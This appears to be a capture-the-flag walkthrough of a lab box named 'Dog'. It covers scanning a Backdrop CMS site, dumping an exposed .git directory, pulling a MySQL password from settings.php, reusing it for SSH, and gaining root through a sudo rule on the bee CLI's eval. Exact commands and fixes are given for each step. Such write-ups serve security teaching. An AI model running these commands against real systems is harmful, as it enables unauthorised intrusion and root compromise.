Dog
Summary
I scanned the internet-facing Apache server and identified a Backdrop CMS site. The web root had its .git directory left publicly accessible, allowing a full download of the application source tree.
That source tree contained the CMS configuration file committed in plain text with a MySQL password. That same password had been reused as the SSH login for the johncusack OS account, granting an interactive shell and the first flag with no exploitation required.
On the system, a sudo rule permitted johncusack to run the Backdrop CMS command-line tool bee — which includes an eval subcommand that executes arbitrary PHP — as root. One sudo command calling PHP's system() function read the root flag and completed full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered, for johncusack>"Attack path — how the box was taken
Exact commands 2
Identify open ports and grab service banners; default scripts capture HTTP headers including X-Generator.
$ nmap -sV -sC -p 22,80 --open $TARGETConfirm the Backdrop CMS fingerprint directly from response headers.
$ curl -si http://$TARGET/ | grep -i 'x-generator\|server'Exact commands 3
Probe for .git exposure; a valid HEAD response (e.g. 'ref: refs/heads/main') confirms the repository is readable.
$ curl -s http://$TARGET/.git/HEADRecursively download and reconstruct the full git repository to the local ./dog-src directory.
$ git-dumper http://$TARGET/.git ./dog-srcReview commit history for context on what was committed and by whom.
$ git -C ./dog-src log --onelineFixBlock web server access to the .git directoryHigh
Exact commands 2
Read the Backdrop database configuration file from the recovered repository.
$ cat ./dog-src/sites/default/settings.phpBroader sweep for any additional credentials in the config directory.
$ grep -r 'mysql\|password' ./dog-src/sites/default/FixRemove plaintext credentials from version-controlled configuration filesCritical
Exact commands 2
Log in with the recovered CMS database password; sshpass supplies it non-interactively.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no johncusack@$TARGETConfirm the active user identity and read the user flag (<user.txt>).
$ id && cat /home/johncusack/user.txt
uid=1001(johncusack) gid=1001(johncusack) groups=1001(johncusack)FixUse unique passwords for every service and OS accountCritical
Exact commands 3
List johncusack's sudo entitlements; look for an entry permitting /usr/local/bin/bee.
$ sudo -lVerify code execution as root; bee requires the Backdrop web root as the working directory.
$ cd /var/www/html && printf '%s\n' "$PASSWORD" | sudo -S /usr/local/bin/bee eval 'system("id");'Read the root flag (<root.txt>).
$ cd /var/www/html && printf '%s\n' "$PASSWORD" | sudo -S /usr/local/bin/bee eval 'system("cat /root/root.txt");'FixRemove sudo access to the bee CLI eval subcommandCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.